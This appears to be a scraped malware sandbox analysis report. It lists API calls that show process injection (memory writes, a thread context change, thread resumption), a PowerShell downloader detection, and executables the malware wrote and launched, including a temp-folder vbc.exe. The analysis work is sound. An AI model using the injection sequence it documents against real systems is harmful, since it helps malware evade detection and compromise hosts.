WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x00475000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 412 process_handle: 0x000003b0	1	1
NtSetContextThread Sept. 3, 2021, 9:13 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4388716 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000003c0 process_identifier: 412	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000003c0 suspend_count: 1 process_identifier: 412	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x00000410 suspend_count: 1 process_identifier: 1768	1	0

Powershell Downloader DFSP detected (1 event)

The process powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\vbc.exe

kswb.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All